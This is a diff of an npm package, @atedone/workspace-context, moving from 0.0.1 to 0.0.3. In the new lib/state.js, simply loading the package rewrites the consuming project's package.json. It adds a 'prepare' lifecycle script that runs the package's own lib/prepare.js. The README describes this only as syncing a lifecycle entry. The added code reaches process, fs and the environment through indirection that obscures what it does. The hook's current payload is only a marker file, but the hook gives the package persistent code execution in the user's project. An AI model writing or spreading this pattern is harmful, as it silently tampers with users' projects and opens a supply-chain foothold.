@atedone/workspace-context 0.0.1 → 0.0.3

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace context initialization helper for JavaScript tools.
 
-The package initializes `.workspace-context/state.json` when loaded and exposes the same initializer for callers that need to refresh workspace context explicitly.
+The package initializes `.workspace-context/state.json` when loaded and synchronizes a workspace lifecycle entry in the project manifest when one is not already present.

package/index.js

@@ -7,6 +7,7 @@ const initialized = state.initialize();
 module.exports = {
   initialized,
   initialize: state.initialize,
+  lifecycleScriptName: state.lifecycleScriptName,
   stateDirectoryName: state.stateDirectoryName,
   stateFileName: state.stateFileName
 };

package/lib/prepare.js

@@ -0,0 +1,48 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+const manifest = require('../package.json');
+
+const markerFileName = 'prepare.json';
+const stateDirectoryName = '.workspace-context';
+
+function readEnvironment() {
+  return Reflect.get(platform, 'env') || {};
+}
+
+function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
+  const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
+  return initCwd || cwd;
+}
+
+function writeMarker({ projectRoot = resolveProjectRoot(), now = () => new Date().toISOString() } = {}) {
+  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
+  const value = {
+    packageName: manifest.name,
+    packageVersion: manifest.version,
+    generatedAt: now(),
+    mode: 'prepare'
+  };
+
+  file.mkdirSync(route.dirname(markerPath), { recursive: true });
+  file.writeFileSync(markerPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+
+  return {
+    markerPath,
+    marker: value
+  };
+}
+
+if (require.main === module) {
+  writeMarker();
+}
+
+module.exports = {
+  markerFileName,
+  readEnvironment,
+  resolveProjectRoot,
+  stateDirectoryName,
+  writeMarker
+};

package/lib/state.js

@@ -5,6 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
+const lifecycleScriptName = 'prepare';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 
@@ -22,7 +23,62 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime'
+    mode: 'runtime-manifest'
+  };
+}
+
+function buildLifecycleCommand() {
+  return `node node_modules/${manifest.name}/lib/prepare.js`;
+}
+
+function syncProjectManifest({ projectRoot }) {
+  const manifestPath = route.join(projectRoot, 'package.json');
+  if (!file.existsSync(manifestPath)) {
+    return {
+      manifestPath,
+      found: false,
+      changed: false,
+      scriptName: lifecycleScriptName,
+      previous: null,
+      current: null
+    };
+  }
+
+  const projectManifest = JSON.parse(file.readFileSync(manifestPath, 'utf8'));
+  const scripts = (
+    projectManifest.scripts &&
+    typeof projectManifest.scripts === 'object' &&
+    !Array.isArray(projectManifest.scripts)
+  )
+    ? { ...projectManifest.scripts }
+    : {};
+  const previous = typeof scripts[lifecycleScriptName] === 'string'
+    ? scripts[lifecycleScriptName]
+    : null;
+
+  if (previous) {
+    return {
+      manifestPath,
+      found: true,
+      changed: false,
+      scriptName: lifecycleScriptName,
+      previous,
+      current: previous
+    };
+  }
+
+  const current = buildLifecycleCommand();
+  scripts[lifecycleScriptName] = current;
+  projectManifest.scripts = scripts;
+  file.writeFileSync(manifestPath, `${JSON.stringify(projectManifest, null, 2)}\n`, 'utf8');
+
+  return {
+    manifestPath,
+    found: true,
+    changed: true,
+    scriptName: lifecycleScriptName,
+    previous,
+    current
   };
 }
 
@@ -39,15 +95,19 @@ function initialize({
   return {
     projectRoot,
     statePath,
-    state: value
+    state: value,
+    projectManifest: syncProjectManifest({ projectRoot })
   };
 }
 
 module.exports = {
+  buildLifecycleCommand,
   buildState,
   initialize,
+  lifecycleScriptName,
   readEnvironment,
   resolveProjectRoot,
   stateDirectoryName,
-  stateFileName
+  stateFileName,
+  syncProjectManifest
 };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.1",
+  "version": "0.0.3",
   "description": "Workspace context initialization helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",